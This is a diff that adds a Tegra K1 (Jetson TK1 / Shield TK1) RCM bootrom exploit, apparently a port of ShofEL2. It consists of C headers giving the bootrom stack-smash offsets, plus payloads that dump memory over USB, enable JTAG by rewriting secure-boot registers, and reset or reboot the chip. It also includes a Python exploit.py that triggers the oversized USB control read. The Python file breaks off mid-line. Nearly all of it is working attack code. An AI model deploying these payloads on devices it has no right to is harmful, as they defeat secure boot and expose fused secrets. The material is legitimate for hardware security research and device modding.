+ +#include +#include +#include + +#include +#include + +#include +#include + +#define USB_CTRL_DEVICE_ENDPOINT_TO_HOST 0x82 +#define USB_CTRL_GET_STATUS 0x00 + +#define USB_BULK_TIMEOUT 500 + +#if DEBUG + #define DEBUG_MSG(fmt, ...) do { fprintf( stderr, "%s:%d:%s(): " fmt, \ + __FILE__, __LINE__, __func__, ##__VA_ARGS__ ); } while(0) +#else + #define DEBUG_MSG(fmt, ...) +#endif + +int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ); +int usb_close( int usb ); +int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ); +int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ); + +#endif + diff --git a/ShofEL2-for-T124/include/payload.h b/ShofEL2-for-T124/include/payload.h new file mode 100644 index 0000000..4788e2b --- /dev/null +++ b/ShofEL2-for-T124/include/payload.h @@ -0,0 +1,5 @@ +#ifndef _MEM_DUMP_USB_SERVER_H_ +#define _MEM_DUMP_USB_SERVER_H_ + +#endif + diff --git a/ShofEL2-for-T124/include/rcm.h b/ShofEL2-for-T124/include/rcm.h new file mode 100644 index 0000000..df813c6 --- /dev/null +++ b/ShofEL2-for-T124/include/rcm.h @@ -0,0 +1,17 @@ +#ifndef _RCM_H_ +#define _RCM_H_ + +#include +#include +#include +#include +#include +#include + +#include "t124.h" +#include "mini_libusb.h" +#include "endianness.h" + +int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ); + +#endif diff --git a/ShofEL2-for-T124/include/t124.h b/ShofEL2-for-T124/include/t124.h new file mode 100644 index 0000000..0afb6ce --- /dev/null +++ b/ShofEL2-for-T124/include/t124.h @@ -0,0 +1,99 @@ +#ifndef _T124_RCM_H_ +#define _T124_RCM_H_ + +#define JETSON_TK1_VID 0x0955 +#define JETSON_TK1_PID 0x7140 + +#define SHIELD_TK1_VID 0x0955 +#define SHIELD_TK1_PID 0x7f40 + +#define IROM_BEGIN 0x00100000 +#define IROM_END 0x0010FFFF +#define IROM_LEN 0x00010000 + +#define IRAM_BEGIN 0x40000000 +#define IRAM_END 0x4003FFFF +#define IRAM_LEN 0x00040000 + +#define BOOTROM_DO_BCT_BOOT 0x00100624 +#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0 +#define BOOTROM_EP1_OUT_READ_IMM 0x00106612 +#define BOOTROM_USB_BUF_1 0x40004000 +#define BOOTROM_USB_BUF_2 0x40008000 +#define BOOTROM_PAYLOAD_ENTRY 0x4000E000 +#define BOOTROM_SMASH_TARGET 0x4000DCD8 +#define BOOTROM_STACK_GAP_LEN 0x30C +#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8 + +#define VARS_LEN 0x10 + +#define INTERMEZZO_LEN 0x100 +#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00 + +#define OFFSET_INTERMEZZO_START 0x0 +#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN ) +#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry ) +#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 ) +#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 ) +#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC ) +#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 ) + + +#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START ) +#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START ) +#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR ) +#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR ) +#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE ) +#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT ) + + +#define RCM_EP1_IN 0x81 +#define RCM_EP1_OUT 0x01 +#define RCM_CHIP_ID_LEN 0x10 + +#define RCM_CMD_LEN 0x32274 +#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus. +#define RCM_CMD_HEADER_LEN 0x284 + +#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START ) +#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START ) +#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD ) +#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR ) +#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR ) +#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE ) +#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT ) + + +#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes +#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes +#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes + + +#define SECURE_BOOT_BASE 0x6000C200 +#define SB_CSR_0 0x0 +#define SB_PIROM_START_0 0x4 +#define SB_PFCFG_0 0x8 +#define JTAG_ON 0x00000080 + +#define APB_BASE 0x70000000 +#define APB_MISC_PP_CONFIG_CTL_0 0x24 +#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40 +#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80 + +#define FLOW_CTLR_BASE 0x60007000 +#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4 +#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30) +#define FLOW_CTLR_HALT_COP_JTAG (1 << 28) + +#define PMC_BASE 0x7000e400 +#define PMC_CNTRL 0x000 +#define PMC_CNTRL_MAIN_RST (1 << 4) +#define PMC_SCRATCH0 0x050 +#define PMC_SCRATCH0_MODE_RCM (1 << 1) + +#define FUSE_BASE 0x7000F900 +#define FUSE_LEN 0x300 + + +#endif + diff --git a/ShofEL2-for-T124/include/types.h b/ShofEL2-for-T124/include/types.h new file mode 100644 index 0000000..d32e3d0 --- /dev/null +++ b/ShofEL2-for-T124/include/types.h @@ -0,0 +1,20 @@ +#ifndef _TYPES_H_ +#define _TYPES_H_ + +typedef signed char s8; +typedef signed short s16; +typedef signed int s32; +typedef signed long long s64; +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; +typedef volatile u8 vu8; +typedef volatile u16 vu16; +typedef volatile u32 vu32; +typedef volatile u64 vu64; +typedef u32 size_t; +typedef u32 uintptr_t; +typedef u32 uint32_t; + +#endif diff --git a/ShofEL2-for-T124/payloads/boot_bct.c b/ShofEL2-for-T124/payloads/boot_bct.c new file mode 100644 index 0000000..4f044e6 --- /dev/null +++ b/ShofEL2-for-T124/payloads/boot_bct.c @@ -0,0 +1,24 @@ +#include "types.h" +#include "t124.h" + +typedef void (*do_bct_boot_t)( void ); + +void memcpy( void *dst, const void *src, size_t len ) { + + for ( size_t i = 0; i < len; i++ ) { + ( (u8 *)dst )[i] = ( (u8 *)src )[i]; + } + +} + +__attribute__((section(".init"))) +void entry() { + + memcpy( (void*) ( IRAM_END - IROM_LEN + 1 ), (void*) IROM_BEGIN, IROM_LEN ); + + register do_bct_boot_t do_bct_boot = (do_bct_boot_t) ( BOOTROM_DO_BCT_BOOT | 1 ); + do_bct_boot(); + while(1); + +} + diff --git a/ShofEL2-for-T124/payloads/intermezzo.c b/ShofEL2-for-T124/payloads/intermezzo.c new file mode 100644 index 0000000..ae31dea --- /dev/null +++ b/ShofEL2-for-T124/payloads/intermezzo.c @@ -0,0 +1,55 @@ +#include "types.h" +#include "t124.h" + +extern u32 __payload_bin_start; +extern u32 __payload_bin_end; + +typedef void (*post_relocation_t)( void ); +typedef void (*payload_ep_t)( void ); +typedef void (*_memcpy_t)( void *dst, const void *src, size_t len ); + +void _memcpy( void *dst, const void *src, size_t len ) { + + for ( size_t i = 0; i < len; i++ ) { + ( (u8 *)dst )[i] = ( (u8 *)src )[i]; + } + +} +// Probably I could trust in have relative PC branches, so no address would +// require to be updated. This would work since there is a whole new copy +// of the binary on the relocated area and PC would be working on that area +// but having memcpy address on a register and update it to the relocated +// area when required should improve the chances of the compiler not messing +// up with the memcpy calls. +register _memcpy_t memcpy asm("r7"); + +void _post_relocation() { + + // Same with these arguments.... + register u32 payload_bef_len = *( (u32 *) IRAM_ADD_PAYLOAD_BEF_LENVAR ); + register u32 payload_aft_len = *( (u32 *) IRAM_ADD_PAYLOAD_AFT_LENVAR ); + register u32 payload_thumb_mode = *( (u32 *) IRAM_ADD_PAYLOAD_THUMB_MODE ); + + memcpy -= INTERMEZZO_LEN; + memcpy( (u8 *) BOOTROM_PAYLOAD_ENTRY, (u8 *) IRAM_ADD_PAYLOAD_START, payload_bef_len ); + memcpy( (u8 *) (BOOTROM_PAYLOAD_ENTRY + payload_bef_len), (u8 *) IRAM_ADD_PAYLOAD_CONT, payload_aft_len ); + + payload_ep_t payload_ep = (payload_ep_t) ( BOOTROM_PAYLOAD_ENTRY | payload_thumb_mode ); + payload_ep(); + +} + +__attribute__((section(".init"))) +void pre_relocation() { + + u32 payload_bin_size = (u32)&__payload_bin_end - (u32)&__payload_bin_start; + u8 *dest = (u8 *) ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ); + + memcpy = _memcpy; + memcpy( dest, &__payload_bin_start, payload_bin_size ); + + post_relocation_t post_relocation = _post_relocation - INTERMEZZO_LEN; + post_relocation(); + +} + diff --git a/ShofEL2-for-T124/payloads/jtag_example.c b/ShofEL2-for-T124/payloads/jtag_example.c new file mode 100644 index 0000000..0193d69 --- /dev/null +++ b/ShofEL2-for-T124/payloads/jtag_example.c @@ -0,0 +1,40 @@ +#include "t124.h" +#include "types.h" + +static inline u32 read32(uintptr_t addr) { + return *(vu32 *)addr; +} + +static inline void write32(uintptr_t addr, u32 val) { + *(vu32 *)addr = val; +} + +static inline void or32(uintptr_t addr, u32 val) { + write32(addr, read32(addr) | val); +} + +__attribute__(( section(".init") )) +void main() { + + + u32 pirom_start_0 = 0x00010000; + write32( SECURE_BOOT_BASE + SB_PIROM_START_0, pirom_start_0 ); + + u32 sb_csr_0 = 0x00000010; + write32( SECURE_BOOT_BASE + SB_CSR_0, sb_csr_0 ); + + u32 sb_pfcfg_0 = read32( SECURE_BOOT_BASE + SB_PFCFG_0 ); + sb_pfcfg_0 &= 0xfffffff0; + sb_pfcfg_0 |= 0xf; + write32( SECURE_BOOT_BASE + SB_PFCFG_0, sb_pfcfg_0 ); + + or32( APB_BASE + APB_MISC_PP_CONFIG_CTL_0, APB_MISC_PP_CONFIG_CTL_0_JTAG | + APB_MISC_PP_CONFIG_CTL_0_TBE ); + while(1) { + // Halt COP and wait for JTAG + or32( FLOW_CTLR_BASE + FLOW_CTLR_HALT_COP_EVENTS_0, + FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT | + FLOW_CTLR_HALT_COP_JTAG ); + } +} + diff --git a/ShofEL2-for-T124/payloads/mem_dumper_usb_server.c b/ShofEL2-for-T124/payloads/mem_dumper_usb_server.c new file mode 100644 index 0000000..fb47701 --- /dev/null +++ b/ShofEL2-for-T124/payloads/mem_dumper_usb_server.c @@ -0,0 +1,58 @@ +#include "types.h" +#include "t124.h" +#include "mem_dumper_usb_server.h" + +typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer); + +void memcpy( void *dst, const void *src, size_t len ) { + + for ( size_t i = 0; i < len; i++ ) { + ( (u8 *)dst )[i] = ( (u8 *)src )[i]; + } + +} + +static inline u32 read32(uintptr_t addr) { + return *(vu32 *)addr; +} + +static inline void write32(uintptr_t addr, u32 val) { + *(vu32 *)addr = val; +} + +static inline void or32(uintptr_t addr, u32 val) { + write32(addr, read32(addr) | val); +} + +void enter_rcm() { + or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM); + or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST); +} + +__attribute__((section(".init"))) +void entry() { + + u32 num_xfer; + u32 to_send; + struct mem_dumper_args_s args; + u8 *buffer = (u8*)0x40020000; + + ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 ); + ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 ); + + ep1_out_read_imm( &args, sizeof(args), &num_xfer ); + + while ( args.len > 0 ) { + + to_send = args.len > 0x1000? 0x1000 : args.len; + + memcpy( buffer, (void*)args.start, to_send ); + ep1_in_write_imm( buffer, to_send, &num_xfer ); + + args.start += to_send; + args.len -= to_send; + } + enter_rcm(); + +} + diff --git a/ShofEL2-for-T124/payloads/payload.c b/ShofEL2-for-T124/payloads/payload.c new file mode 100644 index 0000000..04ca7e6 --- /dev/null +++ b/ShofEL2-for-T124/payloads/payload.c @@ -0,0 +1,36 @@ +#include "types.h" +#include "t124.h" + +typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer); +ep1_x_imm_t usb_read = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 ); +ep1_x_imm_t usb_write = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 ); +// int (*usb_write)(void*addr, uint32_t size, void *return_addr) = (void*)BOOTROM_EP1_IN_WRITE_IMM; +// int (*usb_read)(int, int, int) = (void*)BOOTROM_EP1_OUT_READ_IMM; + +int mystrlen(char *data) { + int i=0; + while(1) { + if(data[i++] == '\0'){ + break; + } + } + return i-1; +} + +#define usb_log(msg, error) usb_write(msg, mystrlen(msg), error); + +__attribute__((section(".init"))) +void payload_main() { + uint32_t error_code; + uint32_t data = 0xdeadbeef; + u32 num_xfer; + u32 to_send; + u8 *buffer = (u8*)0x40020000; + uint32_t test = 1; + + while (1) { + usb_write(&test, sizeof(test), &num_xfer ); + test += 1; + } +} + diff --git a/ShofEL2-for-T124/payloads/payload.ld b/ShofEL2-for-T124/payloads/payload.ld new file mode 100644 index 0000000..0025439 --- /dev/null +++ b/ShofEL2-for-T124/payloads/payload.ld @@ -0,0 +1,16 @@ +__payload_bin_start = 0x4000E000; +ENTRY(__payload_bin_start) + +SECTIONS { + /* We don't do GOT relocation and rely on nothing ending up using the GOT + * (-fno-common helps here) */ + /DISCARD/ : { *(.comment) } + .init (__payload_bin_start): { *(.init) *(.init.*) } + .text : { *(.text) *(.text.*) } + .data : { *(.data) *(.data.*) } + .rodata : { *(.rodata) *(.rodata.*) *(.got) } + .got : { *(.got) } + .bss : { *(.bss) *(.bss.*) *(COMMON)} + .footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */ + __payload_bin_end = .; +} diff --git a/ShofEL2-for-T124/payloads/reset_example.c b/ShofEL2-for-T124/payloads/reset_example.c new file mode 100644 index 0000000..359719f --- /dev/null +++ b/ShofEL2-for-T124/payloads/reset_example.c @@ -0,0 +1,20 @@ +#include "t124.h" +#include "types.h" + +static inline u32 read32(uintptr_t addr) { + return *(vu32 *)addr; +} + +static inline void write32(uintptr_t addr, u32 val) { + *(vu32 *)addr = val; +} + +static inline void or32(uintptr_t addr, u32 val) { + write32(addr, read32(addr) | val); +} + +__attribute__((section(".init"))) +void main() { + or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST); +} + diff --git a/exploit.py b/exploit.py new file mode 100644 index 0000000..aec7214 --- /dev/null +++ b/exploit.py @@ -0,0 +1,218 @@ +from io import BytesIO +import usb.core +import usb.util +import sys +import struct +from utils import * +import argparse +import ctypes +import time +import fcntl +import platform +import os + +IS_OSX = platform.system() == "Darwin" +USBDEVFS_URB_TYPE_CONTROL = 2 +USBDEVFS_SUBMITURB = 0x8038550a +USBDEVFS_REAPURB = 0x4008550c +USBDEVFS_DISCARDURB = 0x0000550b + +debug_exchanges = 0 +class DEVICE(): + def usb_connect(self): + self.dev = None + while self.dev is None: + if self.dev is None: + self.dev = usb.core.find(idVendor=SHIELD_TK1_VID, idProduct=SHIELD_TK1_PID) + if self.dev is None: + self.dev = usb.core.find(idVendor=JETSON_TK1_VID, idProduct=JETSON_TK1_PID) + + if self.dev is None: + error("Could not find APX device!") + sys.exit(ERROR_STATUS) + + while(True): + try: + self.dev.detach_kernel_driver(interface=0) + except Exception as e: + if(e.errno == 2): + break + pass + + def usb_read(self, size, title="recv data"): + IN = 0x81 + data = self.dev.read(IN, size) + data = bytes([char for char in data]) + if debug_exchanges == 1: + hexdump(data, title=title) + return data + + def usb_write(self, data): + OUT = 0x1 + self.dev.write(OUT, data) + if debug_exchanges == 1: + hexdump(data, color=5, title="out") + + def usb_reset(self): + self.dev.reset() + + def __init__(self): + self.usb_connect() + self.write = self.usb_write + self.read = self.usb_read + + def read_chip_id(self): + r = self.usb_read(0x10) + info(f"Chip id: {r.hex()}") + +# lol +def get_fds(): + return set(int(i) for i in os.listdir("/proc/self/fd")) + +class TegraRCM(): + def ep0_read_unbounded(self, size): + print("Size: 0x%x\n" % size) + if IS_OSX: + try: + s.dev.ctrl_transfer(0x82, 0, 0, 0, size) + except usb.core.USBError: + print("timeout.. good!") + return + buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size)) + print(bytes(buf[:8]).hex()) + urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x", + USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep + 0, 0, # status, flags + ctypes.addressof(buf), len(buf), 0, # buf, len, actual + 0, 0, 0, 0, 0xf0f)) + print(bytes(urb[:-1024]).hex()) + print("URB address: 0x%x" % ctypes.addressof(urb)) + + for fd in self.fds: + try: + fcntl.ioctl(fd, USBDEVFS_SUBMITURB, urb) + # time.sleep(0.1) + fcntl.ioctl(fd, USBDEVFS_DISCARDURB, urb) + purb = ctypes.c_void_p() + fcntl.ioctl(fd, USBDEVFS_REAPURB, purb) + if purb.value != ctypes.addressof(urb): + print("Reaped the wrong URB! addr 0x%x != 0x%x" % ( + purb.value, ctypes.addressof(urb))) + _, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56]) + print("URB status: %d" % status) + if ctx != 0xf0f: + print("Reaped the wrong URB! ctx=0x%x" % ctx) + # break + info(f"Done on {fd}") + return status + except Exception as e: + print(str(e)) + return None + + def __init__(self): + if not IS_OSX: + fds_before = get_fds() + self.dev = DEVICE() + if not IS_OSX: + self.fds = get_fds() - fds_before + self.fd = sorted(list(self.fds))[-1] + info("File descriptor: %d" % self.fd) + + + def get_payload_aft_len(self, payload): + payload.seek(0) + sz = len(payload.read()) + payload.seek(0) + if(sz > MAX_PAYLOAD_FILE_SIZE ): + print(f"Payload to big!") + sys.exit(ERROR_STATUS) + payload_aft_len = 0 + if sz > MAX_PAYLOAD_BEF_SIZE: + payload_aft_len = sz - MAX_PAYLOAD_BEF_SIZE + return payload_aft_len + + def read_intermezzo(self, rcm_cmd_buf : BytesIO): + intermezzo = open("ShofEL2-for-T124/intermezzo.bin", "rb").read(INTERMEZZO_LEN) + intermezzo_size = len(intermezzo) + rcm_cmd_buf.seek(RCM_CMD_BUF_INTERMEZZO_START) + rcm_cmd_buf.write(intermezzo) + + def read_payload_file(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len): + payload_bef = payload_file_fd.read(MAX_PAYLOAD_BEF_SIZE) + rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_START) + rcm_cmd_buf.write(payload_bef) + payload_bef_len = len(payload_bef) + payload_aft_len = 0 + if(rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT): + payload_aft = payload_file_fd.read(rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT) + payload_aft_len = len(payload_aft) + rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_CONT) + rcm_cmd_buf.write(payload_aft) + + payload_bef_len = struct.pack("